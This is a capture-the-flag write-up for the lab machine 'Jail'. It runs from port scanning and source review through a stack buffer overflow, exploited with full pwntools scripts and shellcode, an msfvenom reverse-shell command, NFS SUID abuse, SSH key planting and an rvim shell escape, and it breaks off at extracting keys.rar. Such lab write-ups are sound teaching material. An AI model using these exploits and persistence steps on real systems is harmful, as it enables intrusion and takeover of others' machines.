# Jail

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F0jHjEK9rSKSgFu03dygr%2Fjail.png?alt=media&#x26;token=df3f0b2b-34d1-42d7-8b12-befb05c460ce" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.34 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the _allports_ file.

{% code overflow="wrap" %}
```bash
# Nmap 7.93 scan initiated Sun Mar 12 11:29:05 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.34
Nmap scan report for 10.10.10.34
Host is up (0.058s latency).
Not shown: 65497 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
7411/tcp  open  daqstream
20048/tcp open  mountd

# Nmap done at Sun Mar 12 11:29:32 2023 -- 1 IP address (1 host up) scanned in 26.51 seconds
```
{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,111,2049,7411,20048 10.10.10.34 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the _targeted_ file.

{% code overflow="wrap" %}
```bash
# Nmap 7.93 scan initiated Sun Mar 12 11:30:00 2023 as: nmap -sCV -p22,80,111,2049,7411,20048 -Pn -oN targeted 10.10.10.34
Nmap scan report for 10.10.10.34
Host is up (0.044s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 cdec197cdadc16e2a39d42f3184be64d (RSA)
|   256 af949f2f21d0e01dae8e7f1d7bd742ef (ECDSA)
|_  256 6bf8dc274f1c8967a467c5ed0753af97 (ED25519)
80/tcp    open  http       Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      20048/tcp   mountd
|   100005  1,2,3      20048/tcp6  mountd
|   100005  1,2,3      20048/udp   mountd
|   100005  1,2,3      20048/udp6  mountd
|   100021  1,3,4      35003/tcp6  nlockmgr
|   100021  1,3,4      37459/tcp   nlockmgr
|   100021  1,3,4      42608/udp   nlockmgr
|   100021  1,3,4      51891/udp6  nlockmgr
|   100024  1          39601/tcp   status
|   100024  1          50738/tcp6  status
|   100024  1          53721/udp6  status
|   100024  1          59375/udp   status
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl    3 (RPC #100227)
7411/tcp  open  daqstream?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|_    OK Ready. Send USER command.
20048/tcp open  mountd     1-3 (RPC #100005)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port7411-TCP:V=7.93%I=7%D=3/12%Time=640DA9AE%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GenericLines,1D
SF:,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GetRequest,1D,"OK\x2
SF:0Ready\.\x20Send\x20USER\x20command\.\n")%r(HTTPOptions,1D,"OK\x20Ready
SF:\.\x20Send\x20USER\x20command\.\n")%r(RTSPRequest,1D,"OK\x20Ready\.\x20
SF:Send\x20USER\x20command\.\n")%r(RPCCheck,1D,"OK\x20Ready\.\x20Send\x20U
SF:SER\x20command\.\n")%r(DNSVersionBindReqTCP,1D,"OK\x20Ready\.\x20Send\x
SF:20USER\x20command\.\n")%r(DNSStatusRequestTCP,1D,"OK\x20Ready\.\x20Send
SF:\x20USER\x20command\.\n")%r(Help,1D,"OK\x20Ready\.\x20Send\x20USER\x20c
SF:ommand\.\n")%r(SSLSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20comma
SF:nd\.\n")%r(TerminalServerCookie,1D,"OK\x20Ready\.\x20Send\x20USER\x20co
SF:mmand\.\n")%r(TLSSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20comman
SF:d\.\n")%r(Kerberos,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r
SF:(SMBProgNeg,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(X11Pro
SF:be,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(FourOhFourReque
SF:st,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LPDString,1D,"O
SF:K\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPSearchReq,1D,"OK\x2
SF:0Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPBindReq,1D,"OK\x20Ready
SF:\.\x20Send\x20USER\x20command\.\n")%r(SIPOptions,1D,"OK\x20Ready\.\x20S
SF:end\x20USER\x20command\.\n")%r(LANDesk-RC,1D,"OK\x20Ready\.\x20Send\x20
SF:USER\x20command\.\n")%r(TerminalServer,1D,"OK\x20Ready\.\x20Send\x20USE
SF:R\x20command\.\n")%r(NCP,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.
SF:\n")%r(NotesRPC,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(Ja
SF:vaRMI,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(WMSRequest,1
SF:D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(oracle-tns,1D,"OK\x
SF:20Ready\.\x20Send\x20USER\x20command\.\n")%r(ms-sql-s,1D,"OK\x20Ready\.
SF:\x20Send\x20USER\x20command\.\n")%r(afp,1D,"OK\x20Ready\.\x20Send\x20US
SF:ER\x20command\.\n")%r(giop,1D,"OK\x20Ready\.\x20Send\x20USER\x20command
SF:\.\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 12 11:32:48 2023 -- 1 IP address (1 host up) scanned in 168.66 seconds
```
{% endcode %}

Let's start with the HTTP server. It shows a simple drawing of a jail and not much more.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F2EJ4IrJ69QqiewIhf3VC%2Fimage.png?alt=media&#x26;token=7d9837bd-8811-4b82-9a82-dfd705147ac8" alt=""><figcaption></figcaption></figure>

Using _feroxbuster_, we'll see there is a directory called `jailuser`.

> feroxbuster --url http://10.10.10.34/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt,php,html

* `--url` target **URL**.
* `--depth` maximum **recursion** depth..
* `--wordlist` specify a **wordlist** file.
* `-x` file **extension** to search for.

```
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.34/
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💾  Output File           │ feroxbuster.txt
 💲  Extensions            │ [txt, php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       42l      173w     2106c http://10.10.10.34/
403      GET        8l       22w      207c http://10.10.10.34/.html
200      GET       42l      173w     2106c http://10.10.10.34/index.html
200      GET       15l       48w      347c http://10.10.10.34/prisoner.html
301      GET        7l       20w      236c http://10.10.10.34/jailuser => http://10.10.10.34/jailuser/
[####################] - 8m   1764368/1764368 0s      found:5       errors:543    
[####################] - 8m    882184/882184  1693/s  http://10.10.10.34/ 
[####################] - 0s    882184/882184  0/s     http://10.10.10.34/jailuser/ => Directory listing (add -e to scan)
```

This directory contains another one called `dev`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FltZkeqw0AfAWdCAyN0WW%2Fimage.png?alt=media&#x26;token=d395f055-b21c-431f-9e85-baa3fbf0631e" alt=""><figcaption></figcaption></figure>

Which contains three files. Let's download them to our current directory.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FYQwsW3QNtxbrWwzeqg3O%2Fimage.png?alt=media&#x26;token=298ca30a-f647-405c-9ad8-d385d34e28bc" alt=""><figcaption></figcaption></figure>

## Exploitation

The `compile.sh` file is a _bash_ script to compile the `jail.c` code into the `jail` binary. It does the compilation for a 32 bits environment and makes the stack executable.

```bash
gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start
```

If we review the code of the binary, we'll see the following.

* The _main_ function creates a socket that listens on port 7411 accepting connections.

```c
int main(int argc, char *argv[]) {
    int sockfd;
    int newsockfd;
    int port;
    int clientlen;
    char buffer[256];
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;
    int n;
    int pid;
    int sockyes;
    sockyes = 1;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("Socket error");
        exit(1);
    }
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockyes, sizeof(int)) == -1) {
        perror("Setsockopt error");
        exit(1);
    }
    memset((char*)&server_addr, 0, sizeof(server_addr));
    port = 7411;
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind error");
        exit(1);
    }
    listen(sockfd, 200);
    clientlen = sizeof(client_addr);
    while (1) {
        newsockfd = accept(sockfd, (struct sockaddr*)&client_addr, &clientlen);
        if (newsockfd < 0) {
            perror("Accept error");
            exit(1);
        }
        pid = fork();
        if (pid < 0) {
            perror("Fork error");
            exit(1);
        }
        if (pid == 0) {
            close(sockfd);
            exit(handle(newsockfd));
        } else {
            close(newsockfd);
        }
    }
}
```

* There are hard-coded credentials.

```c
if (strcmp(username, "admin") != 0) return 0;
   strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0)
```

* There is a initial loop checking for lines that start with USER, PASS or DEBUG.

```c
if (strncmp(token, "USER ", 5) == 0) {
    strncpy(username, token+5, sizeof(username));
    gotuser=1;
    if (gotpass == 0) {
        printf("OK Send PASS command.\n");
        fflush(stdout);
        }
} else if (strncmp(token, "PASS ", 5) == 0) {
    strncpy(password, token+5, sizeof(password));
    gotpass=1;
    if (gotuser == 0) {
        printf("OK Send USER command.\n");
        fflush(stdout);
    }
} else if (strncmp(token, "DEBUG", 5) == 0) {
    if (debugmode == 0) {
        debugmode = 1;
        printf("OK DEBUG mode on.\n");
        fflush(stdout);
    } else if (debugmode == 1) {
        debugmode = 0;
        printf("OK DEBUG mode off.\n");
        fflush(stdout);
    }
}
```

* The `userpass` buffer is only 16 bytes long, but there is no check to ensure that the `password` parameter passed to the function will fit within the `userpass` buffer. This means that we could pass in a long password that would overflow the buffer and overwrite adjacent memory, potentially allowing the attacker to execute arbitrary code or take control of the system.

```c
int auth(char *username, char *password) {
    char userpass[16];
    char *response;
    if (debugmode == 1) {
        printf("Debug: userpass buffer @ %p\n", userpass);
        fflush(stdout);
    }
    if (strcmp(username, "admin") != 0) return 0;
    strcpy(userpass, password); // vulnerable line
    if (strcmp(userpass, "1974jailbreak!") == 0) {
        return 1;
    } else {
        printf("Incorrect username and/or password.\n");
        return 0;
    }
    return 0;
}
```

* By entering the DEBUG mode and introducing the credentials, we get an address that is always the same. This might be useful later.

> nc 10.10.10.34 7411

```
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
Debug: userpass buffer @ 0xffffd610
OK Authentication success. Send command.
```

## Buffer Overflow

Let's exploit the buffer overflow vulnerability found in the `jail` binary. Run the binary with _gdb_.

> gdb ./jail

Run the binary. To interact with it, we'll have to run the following commands.

> gef➤ set detach-on-fork off
>
> gef➤ set follow-fork-mode child
>
> gef➤ r

Now, we can connect to the localhost on port 7411 and send a bunch of A characters as the password.

> nc localhost 7411

```
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

We should have overwritten all the registries, including EIP and ESP.

```
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0xf7e1cff4  →  0x0021cd8c
$ecx   : 0xf7e1e9b8  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcaf0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048e70  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x41414141 ("AAAA"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcaf0│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"   ← $esp
0xffffcaf4│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffcaf8│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAA"
0xffffcafc│+0x000c: "AAAAAAAAAAAAAAAAAAAA"
0xffffcb00│+0x0010: "AAAAAAAAAAAAAAAA"
0xffffcb04│+0x0014: "AAAAAAAAAAAA"
0xffffcb08│+0x0018: "AAAAAAAA"
0xffffcb0c│+0x001c: "AAAA"
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "jail", stopped 0x41414141 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

Before continuing, note that the address that we get in the DEBUG mode when the binary is executed in our local machine is `0xffffcad0`.

> nc localhost 7411

```
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
Debug: userpass buffer @ 0xffffcad0
OK Authentication success. Send command.
```

As in every buffer overflow, we need to find the offset to control the EIP value. Create a pattern with _gef_ and copy it.

> gef➤ pattern create 50

```
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'
```

Now, restart the program. As the copy of the program that gdb is using crashes, we'll need to kill its PID every time it crashes.

> lsof -i:7411 | grep root | awk '{print $2}' | xargs kill -9
>
> gef➤ r

Send the pattern we created as the password.

> nc localhost 7411

```
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
```

The offset is 28, which means that after 28 bytes of junk we start overwriting EIP.

> gef➤ pattern offset $eip

```
[+] Searching for '$eip'
[+] Found at offset 28 (little-endian search) likely
[+] Found at offset 25 (big-endian search)
```

We have control of EIP. Send 28 A characters, followed by 4 B characters and 10 C characters as the password.

> nc localhost 7411

```
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCC
```

As seen, we have overwritten EIP with 4 B characters, and ESP with C characters.

```
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0xf7e1cff4  →  0x0021cd8c
$ecx   : 0xf7e1e9b8  →  0x00000000
$edx   : 0x1       
$esp   : 0xffffcaf0  →  "CCCCCCCCCC"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048e70  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcaf0│+0x0000: "CCCCCCCCCC"         ← $esp
0xffffcaf4│+0x0004: "CCCCCC"
0xffffcaf8│+0x0008: 0x004343 ("CC"?)
0xffffcafc│+0x000c: 0xffffcb38  →  0x00000000
0xffffcb00│+0x0010: 0xffffca70  →  0xf7e1dda0  →  0xfbad2884
0xffffcb04│+0x0014: 0x00000000
0xffffcb08│+0x0018: 0x00000000
0xffffcb0c│+0x001c: 0x41410000
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "jail", stopped 0x42424242 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

As the script was compiled by disabling data execution prevention, it is possible to write shellcode into the stack. The idea is to inject the shellcode into ESP, and point to it with EIP. But we don't know the address of ESP running in the _jail_ machine.

But we have the address `0xffffcad0` that we got with the DEBUG mode. If we check its content, we'll see that it contains the payload we just sent.

> gef➤ x/s 0xffffcad0

```
0xffffcad0:     'A' <repeats 28 times>, "BBBBCCCCCCCCCC"
```

This means that it is the address of the `userpass` variable. This means that we can calculate the address of ESP, and point to it with EIP. As the offset is 28, and 4 bytes after EIP is ESP, that means that the address of the `userpass` variable plus 32 is the address of ESP.

Now, we have everything we need to exploit the buffer overflow. But first, we have to generate our shellcode.

> msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=10.10.14.5 LPORT=4444 -b "\x00\x0a" -f python

The following script will send as the password a payload that consists of the junk, followed by the address of ESP where EIP is located and the shellcode where ESP is located. This way the program will reach EIP, point to ESP, and the shellcode will be executed.

```python
#!/usr/bin/python3

from pwn import *

context(os="linux", arch="i386")
p = remote("127.0.0.1", 7411)

offset = 28
before_eip = b"A" * offset
eip = p32(0xffffcad0+32)

buf = b"\xbe\xd8\x13\x20\x02\xd9\xcb\xd9\x74\x24\xf4\x5a"
buf += b"\x31\xc9\xb1\x12\x83\xc2\x04\x31\x72\x0e\x03\xaa"
buf += b"\x1d\xc2\xf7\x7b\xf9\xf5\x1b\x28\xbe\xaa\xb1\xcc"
buf += b"\xc9\xac\xf6\xb6\x04\xae\x64\x6f\x27\x90\x47\x0f"
buf += b"\x0e\x96\xae\x67\x9b\x62\x5f\x72\xf3\x70\x5f\x6d"
buf += b"\x5f\xfc\xbe\x3d\x39\xae\x11\x6e\x75\x4d\x1b\x71"
buf += b"\xb4\xd2\x49\x19\x29\xfc\x1e\xb1\xdd\x2d\xce\x23"
buf += b"\x77\xbb\xf3\xf1\xd4\x32\x12\x45\xd1\x89\x55"

payload = before_eip + eip + buf

p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)

p.interactive()
```

If we run the script, we'll see that it doesn't work. This might happen because ESP has limited space. But, we can change the shellcode to [50 bytes long shellcode](https://www.exploit-db.com/shellcodes/34060) with will fit ESP.

```python
#!/usr/bin/python3

from pwn import *

context(os="linux", arch="i386")
p = remote("127.0.0.1", 7411)

offset = 28
before_eip = b"A" * offset
eip = p32(0xffffcad0+32)

# Linux/x86 - execve(/bin/sh) + Socket Re-Use Shellcode (50 bytes)
buf = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf += b"\x89\xe3\x31\xc9\xcd\x80";

payload = before_eip + eip + buf

p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)

p.interactive()
```

Now the script should work, and we should get a bash shell.

> python overflow.py

```
❯ python overflow.py
[+] Opening connection to 127.0.0.1 on port 7411: Done
[*] Switching to interactive mode

$ whoami
root
```

It's time to exploit the victim machine. All we have to do is change the address of the `userpass` variable to the one we got earlier, and change the IP address to _10.10.10.34_.

```python
#!/usr/bin/python3

from pwn import *

context(os="linux", arch="i386")
p = remote("10.10.10.34", 7411)

offset = 28
before_eip = b"A" * offset
eip = p32(0xffffd610+32)

# Linux/x86 - execve(/bin/sh) + Socket Re-Use Shellcode (50 bytes)
buf = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf += b"\x89\xe3\x31\xc9\xcd\x80";

payload = before_eip + eip + buf

p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)

p.interactive()
```

Run the script and get a shell as _nobody_ in the _jail_ machine.

```
❯ python overflow.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive mode

$ whoami
nobody
```

## Privilege Escalation

Port 2049 (NFS) is also open as we saw in the _nmap_ scan. By reading the `/etc/exports` we'll see two directories configured as _no\_all\_squash_, which basically gives authority to any user on the client to access files on the NFS server as that user.&#x20;

> cat /etc/exports

```
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)
```

Both can be mounted to our local machine.

> showmount -e 10.10.10.34

```
Export list for 10.10.10.34:
/opt          *
/var/nfsshare *
```

Let's create two directories in `/mnt`, and mount the shares there.

> mkdir /mnt/opt /mnt/var
>
> mount -t nfs 10.10.10.34:/opt /mnt/opt/
>
> mount -t nfs 10.10.10.34:/var/nfsshare /mnt/var/

Note that my local user _alfa8sa_ with UID 1000 has permission to create files on the /mnt/var directory.

> ls -la /mnt/

```
total 8
drwxr-xr-x  4 root root    4096 Mar 12 22:17 .
drwxr-xr-x 21 root root    4096 Mar 12 22:17 ..
drwxr-xr-x  4 root root      33 Jun 26  2017 opt
drwx-wx--x  2 root alfa8sa   45 Mar 12 15:11 var
```

This means that if I create a file as _alfa8sa_, it will have the permissions of the user with the UID 1000 on the _jail_ machine, which is the frank user.

> grep 1000 /etc/passwd

```
frank:x:1000:1000:frank:/home/frank:/bin/bash
```

The idea is to create a binary that will spawn a shell, and give it SUID permissions. First, on our local machine, create a file with the following C code.

```c
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setresuid(1000, 1000, 1000);
    system("/bin/bash");
    return 0;
}
```

Now, compile it.

> gcc privesc.c -o privesc -static

Then, become your local user with UID 1000, in my case is _alfa8sa_, and copy the binary to the `/mnt/var/` directory.

> su alfa8sa
>
> cp privesc /mnt/var/

Give the file SUID permissions.

> chmod +s /mnt/var/privesc

Now, on the jail machine, run the binary and get a shell as frank. Then, we'll be able to grab the user flag.

> /var/nfsshare/privesc

```
$ whoami
frank
$ cat /home/frank/user.txt
9c335245b90fc27399e7bfdaed742272
```

As the _frank_ user has an `authorized_keys` file in his `.ssh` directory, we could put our public SSH key there and get a shell via SSH. First, create a pair of keys on our local machine. We'll have to do it with a special algorithm because RSA don't work in this machine.

> ssh-keygen -t ecdsa -b 521

Copy our public key.

> cat id\_ecdsa.pub | tr -d "\n" | xclip -sel clip

And put it in the `authorized_keys` file of the victim machine.

> &#x20;echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAEJNUqSy8E5Ka/cS9EcYf0qumTN76Wklp4QpGILKRMu9meL7vSnuX6MA3jVWdnac+NXgodK0eBFiXj9qSjCDEtQSABmg5mBxBqQZifCJ9OjImt5qx9EIgSREordLWX+zApCOwOcfkUxhvACC+M4cZhUbxo7baN+OLop1a4YBNm/b1V30A== root@alfa8sa" > /home/frank/.ssh/authorized\_keys

Finally, get a shell with SSH.

> ssh -i id\_ecdsa frank@10.10.10.34

```
The authenticity of host '10.10.10.34 (10.10.10.34)' can't be established.
ED25519 key fingerprint is SHA256:EDRmVqe5F/kWQaAYcJa7S1KHu5eANG67Izd7IasI8dY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.34' (ED25519) to the list of known hosts.
[frank@localhost ~]$ whoami
frank
```

If we list sudo permissions, we'll see that we can run `/usr/bin/rvim` on `/var/www/html/jailuser/dev/jail.c` as the _adm_ user.

> sudo -l

```
Matching Defaults entries for frank on this host:
    !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User frank may run the following commands on this host:
    (frank) NOPASSWD: /opt/logreader/logreader.sh                                                                    
    (adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
```

If we search for _rvim_ in the _GTFOBins_ list, we can see that we can spawn a shell with the sudo privilege.

{% hint style="info" %}
GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions:

[https://gtfobins.github.io/](https://gtfobins.github.io/)
{% endhint %}

First, run the command that we are allowed to run as _adm_.

> sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

Then, type `:` and run the following python command which will spawn a shell as _adm_.

> py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")

```
Erase is control-H (^H).
sh-4.2$ whoami
adm
```

The _adm_ home directory is `/var/adm`.

> echo $HOME

```
/var/adm
```

If contains a directory called `.keys`.

> ls -la /var/adm

```
total 4
drwxr-x---.  3 root adm    19 Jul  3  2017 .
drwxr-xr-x. 23 root root 4096 Mar 12 03:23 ..
drwxr-x---.  3 root adm    52 Jul  3  2017 .keys
```

Which contains a compressed file called `keys.rar`, another directory called `.local`, and a file called `note.txt`.

> ls -la /var/adm/.keys

```
total 8
drwxr-x---. 3 root adm  52 Jul  3  2017 .
drwxr-x---. 3 root adm  19 Jul  3  2017 ..
-rw-r-----. 1 root adm 475 Jul  3  2017 keys.rar
drwxr-x---. 2 root adm  20 Jul  3  2017 .local
-rw-r-----. 1 root adm 154 Jul  3  2017 note.txt
```

Let's _base64_ the `keys.rar` file and copy it.

> base64 -w 0 /var/adm/.keys/keys.rar; echo

Decode it in our local machine.

> echo "UmF...AA==" | base64 -d > keys.rar

If we try to decompress the file, we'll see that it asks for a password.

> unrar x keys.rar

```
